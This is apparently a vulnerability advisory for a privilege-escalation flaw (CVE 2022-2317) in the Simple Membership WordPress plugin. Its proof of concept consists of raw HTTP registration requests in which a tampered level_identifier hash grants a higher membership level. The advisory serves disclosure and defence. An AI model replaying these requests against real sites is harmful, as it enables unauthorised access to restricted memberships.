Simple Membership < 4.1.3 – Unauthenticated Membership Privilege Escalation | CVE 2022-2317

Description

The plugin allows user to change their membership at the registration stage due to insufficient checking of a user supplied parameter.

Note: This only affects membership from the plugin, not the WordPress role

Proof of Concept

The request contains the level_identifier parameter with the md5(2) value, where 2 is the default membership level.
Value during registration - c81e728d9d4c2f636f067f89cc14862c

An attacker can change this value and get a different membership level.

Original request:

POST /membership-join/membership-registration/ HTTP/1.1
Host: wordpress.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 281
Origin: http://wordpress.local
Connection: close
Referer: http://wordpress.local/membership-join/membership-registration/
Cookie: swpm_session=aa21a306ba6e73498ee136da0d751b47; swpm_in_use=swpm_in_use
Upgrade-Insecure-Requests: 1

level_identifier=c81e728d9d4c2f636f067f89cc14862c&user_name=user_low3&email=user_low3%40jet.local&password=user&password_re=user&first_name=user&last_name=user&membership_level=2&swpm_level_hash=947098d78fd5617082ca190a28c163b0&swpm_registration_submit=Register&action=custom_posts


Modified query, with which attacker can get the third level (level_identifier changed to md5(3)):

POST /membership-join/membership-registration/ HTTP/1.1
Host: wordpress.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 281
Origin: http://wordpress.local
Connection: close
Referer: http://wordpress.local/membership-join/membership-registration/
Cookie: swpm_session=aa21a306ba6e73498ee136da0d751b47; swpm_in_use=swpm_in_use
Upgrade-Insecure-Requests: 1

level_identifier=eccbc87e4b5ce2fe28308fd9f2a7baf3&user_name=user_low3&email=user_low3%40domain.local&password=userpass&password_re=userpass&first_name=user&last_name=user&membership_level=2&swpm_level_hash=947098d78fd5617082ca190a28c163b0&swpm_registration_submit=Register&action=custom_posts